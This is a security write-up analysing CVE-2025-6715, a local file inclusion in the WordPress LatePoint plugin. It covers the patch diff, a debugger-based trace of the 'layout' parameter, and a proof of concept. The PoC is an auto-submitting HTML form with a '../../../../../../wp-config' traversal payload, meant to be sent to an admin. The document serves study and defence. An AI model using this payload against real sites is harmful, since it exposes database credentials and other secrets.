CVE-2025-6715 Analysis & POC

1 CVE & Basic Info
Plugin LatePoint version ≤ 5.1.93 contains a Local File Inclusion vulnerability that allows unauthenticated attackers to control the file parameter in the include/require
statement, thereby injecting or reading local files on the server (e.g., configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, potential code execution.
- CVE ID: CVE-2025-6715
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 5.1.93
- Patched Versions: 5.1.94
- CVSS severity: High (8.1)
- Required Privilege: Unauthenticated
- Product: WordPress LatePoint Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - LatePoint: 5.1.93 (vulnerable) and 5.1.94 (patched).
- Diff tool - Meld or any diff tool to compare and inspect differences between versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
function render($view, $layout = 'none', $extra_vars = array()){
$this->vars['route_name'] = $this->route_name;
extract($extra_vars);
extract($this->vars);
ob_start();
if($layout != 'none'){
// rendering layout, view variable will be passed and used in layout file
include LATEPOINT_VIEWS_LAYOUTS_ABSPATH . $this->add_extension($layout, '.php');
}else{
include $this->add_extension($view, '.php');
}
$response_html = ob_get_clean();
return $response_html;
}
In the vulnerable version, the render()
function appends .php
to $layout
and directly includes it without validation, leading to Local File Inclusion (LFI) if $layout
is controlled by user input.
Patched version:
function render($view, $layout = 'none', $extra_vars = array()){
$this->vars['route_name'] = $this->route_name;
extract($extra_vars);
extract($this->vars);
ob_start();
if($layout != 'none'){
$layout_path = $this->get_safe_layout_path($layout);
// rendering layout, view variable will be passed and used in layout file
if($layout_path){
include $layout_path;
}else{
__('Invalid layout', 'latepoint');
}
}else{
include $this->add_extension($view, '.php');
}
$response_html = ob_get_clean();
return $response_html;
}
private function get_safe_layout_path($layout) {
// 1. Remove any path separators and null bytes
$layout = str_replace(['/', '\\', "\0"], '', $layout);
// 2. Remove any dots to prevent directory traversal
$layout = str_replace('.', '', $layout);
// 3. Only allow alphanumeric, underscore, and hyphen
$layout = preg_replace('/[^a-zA-Z0-9_-]/', '', $layout);
// 4. Construct the full path
$layout_file = $this->add_extension($layout, '.php');
$full_path = LATEPOINT_VIEWS_LAYOUTS_ABSPATH . $layout_file;
// 5. Use realpath to resolve any remaining traversal attempts
$real_path = realpath($full_path);
$base_path = realpath(LATEPOINT_VIEWS_LAYOUTS_ABSPATH);
// 6. Ensure the resolved path is within the layouts directory
if ($real_path && $base_path && strpos($real_path, $base_path) === 0) {
return $real_path;
}
return false;
}
The patch adds get_safe_layout_path()
to remove /
, \
, .
, and null bytes; only allow [A-Za-z0-9_-]
; construct the path, use realpath()
and compare it with LATEPOINT_VIEWS_LAYOUTS_ABSPATH
. The file is included only if valid, preventing LFI.
3.2 Vulnerable Code
The render()
function is called in 12 different locations, so manual tracing would be time-consuming.

12 call locations of render()
To optimize, use a debugger:
- Set a breakpoint inside
render()
. - Perform various actions through the UI.
- Each time
render()
is called, execution pauses at the breakpoint and highlights the corresponding code line, allowing quick identification of call flows.

Debugger jumps to breakpoint
👉 When accessing the endpoint http://localhost/wp-admin/admin.php?page=latepoint&route_name=calendars__view
with route names as plugin submenus, render()
is invoked with the default layout admin
.

Default layout
Examining the callstack reveals the call flow leading to render()
.

Callstack flow
function format_render_return($view_name, $extra_vars = array(), $json_return_vars = array(), $from_shared_folder = false){
$html = '';
if($this->get_return_format() == 'json'){
if(is_array($view_name)) $view_name = $view_name['json_view_name'];
$response_html = $this->render($this->get_view_uri($view_name, $from_shared_folder), 'none', $extra_vars);
$this->send_json(array_merge(array('status' => LATEPOINT_STATUS_SUCCESS, 'message' => $response_html), $json_return_vars));
}else{
if(is_array($view_name)) $view_name = $view_name['html_view_name'];
$this->extra_css_classes[] = $this->generate_css_class($view_name);
$this->vars['extra_css_classes'] = $this->extra_css_classes;
$html = $this->render($this->get_view_uri($view_name, $from_shared_folder), $this->get_layout(), $extra_vars);
}
return $html;
}
render()
is called by format_render_return()
when get_return_format()
is not json
; by default, it’s html
.
$return_format = 'html'
...
function get_return_format(){
return $this->return_format;
}
The layout
we’re interested in comes from get_layout()
. Since get_layout()
exists, there should be a corresponding set_layout()
. Searching for set_layout
in the same file shows how the layout value is set.
$layout = 'admin'
...
function set_layout($layout = 'admin'){
if(isset($this->params['layout'])){
$this->layout = $this->params['layout'];
}else{
$this->layout = $layout;
}
}
The $layout
variable is assigned the default value 'admin'
, matching the layout analyzed earlier.
The set_layout()
function determines which layout to use:
- If
$this->params
contains alayout
parameter, it uses that value. - Otherwise, it falls back to the default (
'admin'
).
We can use the debugger again to inspect $params
.

Value of $params
$params
includes two keys, page
and route_name
, matching the query parameters when accessing http://localhost/wp-admin/admin.php?page=latepoint&route_name=calendars__view
.
👉 Therefore, layout
can also be passed as a URL parameter — which we can exploit.
Try accessing the endpoint with a layout
parameter:
GET /wp-admin/admin.php?page=latepoint&route_name=calendars__view&layout=payload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=latepoint
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1760967480%7CoCVvKc0bJQfyBklDsH6H9DopdAB5cs1Sto11eNkRdYj%7Cc08cb50e24c24f218212642e90eebec4ec8ab1c3fb72a2443f62f3c27e253edd; wp-settings-time-1=1760795495; language=en; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1760967480%7CoCVvKc0bJQfyBklDsH6H9DopdAB5cs1Sto11eNkRdYj%7C2e46c824d8ba0f581459540ee6553fac38b1af797e42b03957dd3ab2a79a4175
$layout
is now fully under our control.

Controlled $layout
4 Exploit
4.1 Proof of Concept (PoC)
4.1.1 Step 1
Create a webpage containing a form that automatically submits an LFI payload.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://localhost:80/wp-admin/admin.php" method="get">
<input type="text" name="page" value="latepoint">
<input type="text" name="route_name" value="calendars__view">
<input type="text" name="layout" value="../../../../../../wp-config">
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
4.1.2 Step 2
Send the malicious webpage link to an admin or privileged user.
Result:
The debugger stopped at wp-config.php
.

Successful LFI result
Since this CVE is Unauthenticated, it leverages a plugin endpoint without nonce checking. Logged-in users visiting the malicious page automatically send the request to the vulnerable WordPress site along with their cookies.
4.2 Conclusion
Versions ≤ 5.1.93 of LatePoint are vulnerable to LFI because the layout
parameter is not validated before being passed to include()
, leading to potential local file disclosure (e.g., wp-config.php
). The issue was patched in 5.1.94 by sanitizing characters, using realpath()
, and restricting to valid directories.
4.3 Key takeaways
- This is LFI (file read) — no RCE observed in PoC.
- Path-controlled parameters must be sanitized + canonicalized before use.
- Use realpath() and base directory validation to prevent traversal.
- Never include directly from request data; use safe helpers like
get_safe_layout_path()
.
5 References
File Inclusion/Path traversal — Hacktrick
WordPress LatePoint Plugin <= 5.1.93 is vulnerable to Local File Inclusion